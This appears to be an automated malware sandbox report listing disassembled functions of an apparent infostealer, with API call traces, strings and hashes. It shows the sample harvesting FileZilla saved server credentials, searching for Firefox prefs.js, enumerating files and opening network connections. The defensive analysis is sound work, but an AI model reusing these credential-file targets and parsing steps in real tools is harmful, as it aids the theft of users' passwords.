Opcode ID: 96630a8d32283315eac16341535568e0e7a28a07d001f012752ce8a5bf4e8c9b
Instruction ID: 7f51ff4e1ff168917d79c65b9643726832954c915f077288e7a2dd1aa9d6dd22
Opcode Fuzzy Hash: 96630a8d32283315eac16341535568e0e7a28a07d001f012752ce8a5bf4e8c9b
Instruction Fuzzy Hash: CDF0E939B005155BCB04EB59DC85C5DF7ADAF85A65710007AED02D3351EBB4FD058694

Function 0043524A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMONLIBRARYCODE

Download Yara Rule

APIs

GetUserDefaultLCID.KERNEL32(00000055,?,00000000,0043A95A,?,00000055,00000050), ref: 00435294

Strings

11@, xrefs: 00435282
GetUserDefaultLocaleName, xrefs: 0043525B, 00435265

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: DefaultUser
String ID: 11@$GetUserDefaultLocaleName
API String ID: 3358694519-96072240
Opcode ID: 16a0718fbd455e8dc7f79371a647250a910ba3e014e61bb6336f7cb34782cdd6
Instruction ID: 56ecbbb9c6e0ea3c164d002f9608a712f4b6e8dd4fbc805ea42157dacaae974e
Opcode Fuzzy Hash: 16a0718fbd455e8dc7f79371a647250a910ba3e014e61bb6336f7cb34782cdd6
Instruction Fuzzy Hash: 3DF02431A80208BBDB10AF51CC03F9E7F50EB09B50F10416AFD046A291DAB95E209ACD

Function 00435313 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMONLIBRARYCODE

Download Yara Rule

APIs

IsValidLocale.KERNEL32(00000000,00430853,00000000,00000001,?,?,00430853,?,?,00430233,?,00000004), ref: 0043535F

Strings

11@, xrefs: 00435348
IsValidLocaleName, xrefs: 00435324, 0043532E

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: LocaleValid
String ID: 11@$IsValidLocaleName
API String ID: 1901932003-3041995494
Opcode ID: ec0c667621164707c1bc2b991c274cf4e18bf7ac853b3eeeb1e3ed5b34663cf6
Instruction ID: 92ee9c0e94e9f2fbea2cc18d2d1159cfcb308c2a760149ff5b58bb71b949f05c
Opcode Fuzzy Hash: ec0c667621164707c1bc2b991c274cf4e18bf7ac853b3eeeb1e3ed5b34663cf6
Instruction Fuzzy Hash: 94F02430A84708B7DB10AB108D07B9EBB549B48B12F10403ABD0066281CAF95911A59D

Function 004352B1 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00000FA0,-00000020,0043255D,-00000020,00000FA0,00000000,00000014,00402866), ref: 004352FC

Strings

11@, xrefs: 004352EC
InitializeCriticalSectionEx, xrefs: 004352C2, 004352CC

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: 11@$InitializeCriticalSectionEx
API String ID: 2593887523-3358978645
Opcode ID: 4941b3bd5492a3ccd0429f2016fdf03f36fccdd9fbf1eb1f29f14e59228ea09c
Instruction ID: 2051ed9e425ee247f5129d915950feebf7d6a3be7f43922744b44a15a137ba2f
Opcode Fuzzy Hash: 4941b3bd5492a3ccd0429f2016fdf03f36fccdd9fbf1eb1f29f14e59228ea09c
Instruction Fuzzy Hash: 2FF0B431A40208BBDB11AF51DD02D9F7F61EB08B51F10406AFD0556260DABA4E20EAC9

Function 004406AA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 004406B1

Strings

MOC, xrefs: 004406D4
RCC, xrefs: 004406E3

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: H_prolog3_catch
String ID: MOC$RCC
API String ID: 3886170330-2084237596
Opcode ID: c784227a34fd5b7084b2c87fc19ea1d0d793304ba4906a265f634d642bdce8b4
Instruction ID: 34e8bc77d22ddcdafc14714ce60d9b0db4004f50fe154a236d7873180d633bee
Opcode Fuzzy Hash: c784227a34fd5b7084b2c87fc19ea1d0d793304ba4906a265f634d642bdce8b4
Instruction Fuzzy Hash: 83F06274600124DFDB22AF65D40159D7BB0AF41748F8640EBF5045B3A1C77C6D54CFAA

Function 004350DB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

TlsFree.KERNEL32(?), ref: 0043511A

Strings

11@, xrefs: 00435110
FlsFree, xrefs: 004350EC, 004350F6

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Free
String ID: 11@$FlsFree
API String ID: 3978063606-2352678666
Opcode ID: 6dffc1cdda050d1ef236ec52a9cd275bb2632aad14ca1d18400e2b4c69ec58df
Instruction ID: c1727abd3399064533d4b72406d339915fd92446a3417b7bd4380397cab03c3a
Opcode Fuzzy Hash: 6dffc1cdda050d1ef236ec52a9cd275bb2632aad14ca1d18400e2b4c69ec58df
Instruction Fuzzy Hash: 0FE0E532F41218ABD714AF559C07A6EBB60DB48F15F14017BFE0557281DA794E1096CE

Function 00435085 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 004350C4

Strings

11@, xrefs: 004350BA
FlsAlloc, xrefs: 00435096, 004350A0

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Alloc
String ID: 11@$FlsAlloc
API String ID: 2773662609-288891599
Opcode ID: ba89461f714ec2f353eb854be2fff552b03e75bb0e63386cb5f1b0964f268f00
Instruction ID: 656933edcbb05ac72b6cf25421a562d2aaaa3326236b7023487c433eafd234ee
Opcode Fuzzy Hash: ba89461f714ec2f353eb854be2fff552b03e75bb0e63386cb5f1b0964f268f00
Instruction Fuzzy Hash: 62E05C30B8170477D314AF518C03A6EB760DB0AB11F10017BFC0127280DDBD5E1085CE

Function 00429FC5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00429FDA

Strings

FlsAlloc, xrefs: 00429FD3
11@, xrefs: 00429FED

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: try_get_function
String ID: 11@$FlsAlloc
API String ID: 2742660187-288891599
Opcode ID: 8626dcbe6cdd30c54ada29f8a24cae781a39f5398ca56e55a922e5d7310b92a8
Instruction ID: 02976f814a59a294967572ff2c8846d3634fef9e4185a681c56ac9216c02fddb
Opcode Fuzzy Hash: 8626dcbe6cdd30c54ada29f8a24cae781a39f5398ca56e55a922e5d7310b92a8
Instruction Fuzzy Hash: BDD0C231BC973663D5406B816D02B99BA048701FA3F110063F90CA1281D6994A1046CD

Function 004212DC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 004212FB
__CxxThrowException@8.LIBVCRUNTIME ref: 00421309

Strings

pThreadProxy, xrefs: 004212F3

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Exception@8Throwstd::invalid_argument::invalid_argument
String ID: pThreadProxy
API String ID: 1687795959-3651400591
Opcode ID: d978fa9c7b04847c80681c11cf36977db16e70b896a80dd6198ffb22ffb34018
Instruction ID: 5420a3ac49ee2b21aafe02425b7e31d130dadcb6d03c7143bde2fe2a0427303a
Opcode Fuzzy Hash: d978fa9c7b04847c80681c11cf36977db16e70b896a80dd6198ffb22ffb34018
Instruction Fuzzy Hash: 8FD05B71E0020896D700EBB9D806E4E77A85B10718F50417B7D14E6147DF78E508C6A8

Function 0041A897 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ContextBase::CancellationBeaconStack::~CancellationBeaconStack.LIBCONCRT ref: 0041A8A1
Hash.LIBCONCRT ref: 0041A8AE

Strings

+hB, xrefs: 0041A8BC

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: BeaconCancellation$Base::Concurrency::details::ContextHashStackStack::~
String ID: +hB
API String ID: 3232699325-4272926976
Opcode ID: 7ad862fe756be090a11e09584eb2edb8185e7db7bb7af1f5538142d7ac1213cc
Instruction ID: 63ff50f5f99ebaa442bb0d4aeec8a7224868785c63155d6932f4acb55241cc7c
Opcode Fuzzy Hash: 7ad862fe756be090a11e09584eb2edb8185e7db7bb7af1f5538142d7ac1213cc
Instruction Fuzzy Hash: 2DD0A73230451156C708772AF8019C9F761BF80710B11403FE455935518F3838AF869D

Function 0042AEAA Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,f(@,00000000), ref: 0042AF40
GetLastError.KERNEL32 ref: 0042AF4E
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000), ref: 0042AFA9

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: 52d4a7004019297d44bc7c19dc2dfefffb9580c93fe43c28174d6fe013107c11
Instruction ID: 120bd2143bdce8d71afc71d227a82de2ececf14487395c5eb9abd3a2316ebb2c
Opcode Fuzzy Hash: 52d4a7004019297d44bc7c19dc2dfefffb9580c93fe43c28174d6fe013107c11
Instruction Fuzzy Hash: 00414830700621EFCF228F66E944B6BBBA4EF01714F95416BFC699B290D7388D01C79A

Function 0465B111 Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,00000000,00000000,04632ACD,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,04632ACD,00000000), ref: 0465B1A7
GetLastError.KERNEL32 ref: 0465B1B5
MultiByteToWideChar.KERNEL32(?,00000001,?,?,04632ACD,00000000), ref: 0465B210

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: e536570b9c15492d0518b6f8e8b2d6b0fefd1f832faf498bff9e3d376521cf30
Instruction ID: 89699668a57340edbce8e161573cbd7904e5bbb0adde2bedaa1ea15e6a1f6562
Opcode Fuzzy Hash: e536570b9c15492d0518b6f8e8b2d6b0fefd1f832faf498bff9e3d376521cf30
Instruction Fuzzy Hash: F441E535600206EFDF219FA5D8446BE7BA4EF12B11F244269EC59A72B0FB71B901CB74

Analysis Process: 795F.tmp.exePID: 7684, Parent PID: 7424COMMON

Execution Graph

Execution Coverage:	3.3%
Dynamic/Decrypted Code Coverage:	40.5%
Signature Coverage:	16%
Total number of Nodes:	2000
Total number of Limit Nodes:	128

Executed Functions

Function 004016A0 Relevance: 202.4, APIs: 114, Strings: 1, Instructions: 1164stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 004016E2
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00401719
lstrcpy.KERNEL32(00000000,00000000), ref: 0040176C
lstrcatA.KERNEL32(00000000), ref: 00401776
lstrcpy.KERNEL32(00000000,00000000), ref: 004017A2
lstrcpy.KERNEL32(00000000,00000000), ref: 004017EF
lstrcatA.KERNEL32(00000000,00000000), ref: 004017F9
lstrcpy.KERNEL32(00000000,00000000), ref: 00401825
lstrcpy.KERNEL32(00000000,00000000), ref: 00401875
lstrcatA.KERNEL32(00000000), ref: 0040187F
lstrcpy.KERNEL32(00000000,00000000), ref: 004018AB
lstrcpy.KERNEL32(00000000,?), ref: 004018F3
lstrcatA.KERNEL32(00000000,00000000), ref: 004018FE
lstrlenA.KERNEL32(0043179C), ref: 00401909
lstrcpy.KERNEL32(00000000,00000000), ref: 00401929
lstrcatA.KERNEL32(00000000,0043179C), ref: 00401935
lstrcpy.KERNEL32(00000000,00000000), ref: 0040195B
lstrcatA.KERNEL32(00000000,00000000), ref: 00401966
lstrlenA.KERNEL32(\*.*), ref: 00401971
lstrcpy.KERNEL32(00000000,00000000), ref: 0040198E
lstrcatA.KERNEL32(00000000,\*.*), ref: 0040199A

Part of subcall function 00424250: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,00000000), ref: 0042427D
Part of subcall function 00424250: lstrcpy.KERNEL32(00000000,?), ref: 004242B2

lstrcpy.KERNEL32(00000000,00000000), ref: 004019C3
lstrcpy.KERNEL32(00000000,?), ref: 00401A0E
lstrcatA.KERNEL32(00000000,00000000), ref: 00401A16
lstrlenA.KERNEL32(0043179C), ref: 00401A21
lstrcpy.KERNEL32(00000000,00000000), ref: 00401A41
lstrcatA.KERNEL32(00000000,0043179C), ref: 00401A4D
lstrcpy.KERNEL32(00000000,00000000), ref: 00401A76
lstrcatA.KERNEL32(00000000,00000000), ref: 00401A81
lstrlenA.KERNEL32(0043179C), ref: 00401A8C
lstrcpy.KERNEL32(00000000,00000000), ref: 00401AAC
lstrcatA.KERNEL32(00000000,0043179C), ref: 00401AB8
lstrcpy.KERNEL32(00000000,00000000), ref: 00401ADE
lstrcatA.KERNEL32(00000000,00000000), ref: 00401AE9
lstrcpy.KERNEL32(00000000,00000000), ref: 00401B11
FindFirstFileA.KERNEL32(00000000,?), ref: 00401B45
StrCmpCA.SHLWAPI(?,004317A8), ref: 00401B70
StrCmpCA.SHLWAPI(?,004317AC), ref: 00401B8A
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00401BC4
lstrcpy.KERNEL32(00000000,?), ref: 00401BFB
lstrcatA.KERNEL32(00000000,00000000), ref: 00401C03
lstrlenA.KERNEL32(0043179C), ref: 00401C0E
lstrcpy.KERNEL32(00000000,00000000), ref: 00401C31
lstrcatA.KERNEL32(00000000,0043179C), ref: 00401C3D
lstrcpy.KERNEL32(00000000,00000000), ref: 00401C69
lstrcatA.KERNEL32(00000000,00000000), ref: 00401C74
lstrlenA.KERNEL32(0043179C), ref: 00401C7F
lstrcpy.KERNEL32(00000000,00000000), ref: 00401CA2
lstrcatA.KERNEL32(00000000,0043179C), ref: 00401CAE
lstrlenA.KERNEL32(?), ref: 00401CBB
lstrcpy.KERNEL32(00000000,00000000), ref: 00401CDB
lstrcatA.KERNEL32(00000000,?), ref: 00401CE9
lstrlenA.KERNEL32(0043179C), ref: 00401CF4
lstrcpy.KERNEL32(00000000,?), ref: 00401D14
lstrcatA.KERNEL32(00000000,0043179C), ref: 00401D20
lstrcpy.KERNEL32(00000000,00000000), ref: 00401D46
lstrcatA.KERNEL32(00000000,00000000), ref: 00401D51
lstrcpy.KERNEL32(00000000,00000000), ref: 00401D7D
lstrcpy.KERNEL32(00000000,00000000), ref: 00401DE0
lstrcatA.KERNEL32(00000000,00000000), ref: 00401DEB
lstrlenA.KERNEL32(0043179C), ref: 00401DF6
lstrcpy.KERNEL32(00000000,00000000), ref: 00401E19
lstrcatA.KERNEL32(00000000,0043179C), ref: 00401E25
lstrcpy.KERNEL32(00000000,00000000), ref: 00401E4B
lstrcatA.KERNEL32(00000000,00000000), ref: 00401E56
lstrlenA.KERNEL32(0043179C), ref: 00401E61
lstrcpy.KERNEL32(00000000,?), ref: 00401E81
lstrcatA.KERNEL32(00000000,0043179C), ref: 00401E8D
lstrlenA.KERNEL32(?), ref: 00401E9A
lstrcpy.KERNEL32(00000000,00000000), ref: 00401EBA
lstrcatA.KERNEL32(00000000,?), ref: 00401EC8
lstrcpy.KERNEL32(00000000,00000000), ref: 00401EF4
lstrcpy.KERNEL32(00000000,00000000), ref: 00401F3E
GetFileAttributesA.KERNEL32(00000000), ref: 00401F45
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00401F9F
lstrlenA.KERNEL32(00869A90), ref: 00401FAE
lstrcpy.KERNEL32(00000000,?), ref: 00401FDB
lstrcatA.KERNEL32(00000000,?), ref: 00401FE3
lstrlenA.KERNEL32(0043179C), ref: 00401FEE
lstrcpy.KERNEL32(00000000,00000000), ref: 0040200E
lstrcatA.KERNEL32(00000000,0043179C), ref: 0040201A
lstrcpy.KERNEL32(00000000,?), ref: 00402042
lstrcatA.KERNEL32(00000000,00000000), ref: 0040204D
lstrlenA.KERNEL32(0043179C), ref: 00402058
lstrcpy.KERNEL32(00000000,00000000), ref: 00402075
lstrcatA.KERNEL32(00000000,0043179C), ref: 00402081

Strings

\*.*, xrefs: 0040196C, 00401994

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$File$AttributesFindFirstFolderPath
String ID: \*.*
API String ID: 4127656590-1173974218
Opcode ID: 4cb14c2c4a61cf19c938896a9c000c43eb31039c6473c581ca8e8d2ce959c8c2
Instruction ID: 7097801765e119414d04f665fd554480723eb8561d6499bb2c35ab919e1fbf01
Opcode Fuzzy Hash: 4cb14c2c4a61cf19c938896a9c000c43eb31039c6473c581ca8e8d2ce959c8c2
Instruction Fuzzy Hash: E8928471A112169BCB21AF65DD88AAF77B9AF44304F04103AF805B72E1DBB8DD05CFA4

Function 00416AA0 Relevance: 163.5, APIs: 83, Strings: 10, Instructions: 752stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00416AD5
SHGetFolderPathA.SHELL32(00000000,00000028,00000000,00000000,?), ref: 00416B08
lstrcpy.KERNEL32(00000000,00000000), ref: 00416B42
lstrcpy.KERNEL32(00000000,00000000), ref: 00416B69
lstrcatA.KERNEL32(00000000,00000000), ref: 00416B74
lstrcpy.KERNEL32(00000000,00000000), ref: 00416B9D
lstrlenA.KERNEL32(\AppData\Roaming\FileZilla\recentservers.xml), ref: 00416BB7
lstrcpy.KERNEL32(00000000,00000000), ref: 00416BD9
lstrcatA.KERNEL32(00000000,\AppData\Roaming\FileZilla\recentservers.xml), ref: 00416BE5
lstrcpy.KERNEL32(00000000,00000000), ref: 00416C10
lstrcpy.KERNEL32(00000000,00000000), ref: 00416C40
LocalAlloc.KERNEL32(00000040,?), ref: 00416C75
strtok_s.MSVCRT ref: 00416CA2
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00416CDD
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00416D0D

Strings

url: , xrefs: 00417117
<Pass encoding="base64">, xrefs: 00416F2C
password: , xrefs: 00417189
login: , xrefs: 0041715D
profile: null, xrefs: 00417108
browser: FileZilla, xrefs: 004170F9
<Host>, xrefs: 00416D94
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00416BB2, 00416BDF
<User>, xrefs: 00416EA4
<Port>, xrefs: 00416E1C

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$AllocFolderLocalPathlstrlenstrtok_s
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 922491270-555421843
Opcode ID: a7edda951e4182e1ea89ef36bd6983b588c380a4d514a5192a40a84828c4a011
Instruction ID: aa4bcd2055f37628c92ee6399899b6f92847b407a6c74710a3d3c88e4510d065
Opcode Fuzzy Hash: a7edda951e4182e1ea89ef36bd6983b588c380a4d514a5192a40a84828c4a011
Instruction Fuzzy Hash: 4542A470B002169FCB11ABB5DD89BAF7B76AF04704F15102AF801E72D1DBB8D941CBA8

Function 004060D0 Relevance: 123.3, APIs: 68, Strings: 2, Instructions: 816stringnetworkCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 004060FF
lstrcpy.KERNEL32(00000000,0042CFF4), ref: 00406152
lstrcpy.KERNEL32(00000000,0042CFF4), ref: 00406185
lstrcpy.KERNEL32(00000000,0042CFF4), ref: 004061B5
lstrcpy.KERNEL32(00000000,0042CFF4), ref: 004061F0
lstrcpy.KERNEL32(00000000,0042CFF4), ref: 00406223
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00406233

Strings

------, xrefs: 00406359, 00406386, 004065FE, 004066EF
", xrefs: 00406697, 00406785

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$InternetOpen
String ID: "$------
API String ID: 2041821634-2370822465
Opcode ID: 99dfc022098765a83ade02b06df9f00e59ac6766970b75da11f79e0a7d73c2c3
Instruction ID: e1c77a48c9db9f9d7e3cee1d994f76c9f30b806028e6ece8452b3a013e69dddc
Opcode Fuzzy Hash: 99dfc022098765a83ade02b06df9f00e59ac6766970b75da11f79e0a7d73c2c3
Instruction Fuzzy Hash: 9C526D71A002169FCB21AB79DD89A9F77B5AF44304F15503AF806B72D1DB78EC058FA8

Function 00404C50 Relevance: 112.8, APIs: 61, Strings: 3, Instructions: 807stringnetworkCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 00404C7F
lstrcpy.KERNEL32(00000000,0042CFF4), ref: 00404CD2
lstrcpy.KERNEL32(00000000,0042CFF4), ref: 00404D05
lstrcpy.KERNEL32(00000000,0042CFF4), ref: 00404D35
lstrcpy.KERNEL32(00000000,0042CFF4), ref: 00404D73
lstrcpy.KERNEL32(00000000,0042CFF4), ref: 00404DA6
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404DB6

Strings

_B, xrefs: 00404C53, 00404C67
------, xrefs: 00404EDC, 00404F09, 0040518B, 0040527C
", xrefs: 00405224, 00405312

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$InternetOpen
String ID: "$------$_B
API String ID: 2041821634-1334066325
Opcode ID: adae7e99dca9a488691ba09cf1036407f9852b51f7f621932880144b1579929f
Instruction ID: 1552433d623cc160f1fdc82636420e70867d0f7256f5daceb05b59e833827d7b
Opcode Fuzzy Hash: adae7e99dca9a488691ba09cf1036407f9852b51f7f621932880144b1579929f
Instruction Fuzzy Hash: 64528E71A002169BDB21EBA5DD89A9F7BB5AF44304F14103AF905B72D1DB78EC418FE8

Function 00414C70 Relevance: 79.8, APIs: 44, Strings: 1, Instructions: 1095stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00414CB1
lstrcpy.KERNEL32(00000000,00000000), ref: 00414CD4
lstrcatA.KERNEL32(00000000,00000000), ref: 00414CDF
lstrlenA.KERNEL32(00434CAC), ref: 00414CEA
lstrcpy.KERNEL32(00000000,00000000), ref: 00414D07
lstrcatA.KERNEL32(00000000,00434CAC), ref: 00414D13
lstrcpy.KERNEL32(00000000,00000000), ref: 00414D3E
FindFirstFileA.KERNEL32(00000000,?), ref: 00414D5A

Strings

prefs.js, xrefs: 00414F2C

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: prefs.js
API String ID: 2567437900-3783873740
Opcode ID: 2c91e4a8681a4354ebec7bf57af6803ffb77a4ddad3de2e7efa44401975cd283
Instruction ID: 0b2194b5bfddf2285e2782e03585eeefd2639f0672ff4c74bd56b9ad766508d3
Opcode Fuzzy Hash: 2c91e4a8681a4354ebec7bf57af6803ffb77a4ddad3de2e7efa44401975cd283
Instruction Fuzzy Hash: FD923170A01605CFDB24DF29D948BDA77E5AF84314F19806EE8099B3A1D779DC82CF94

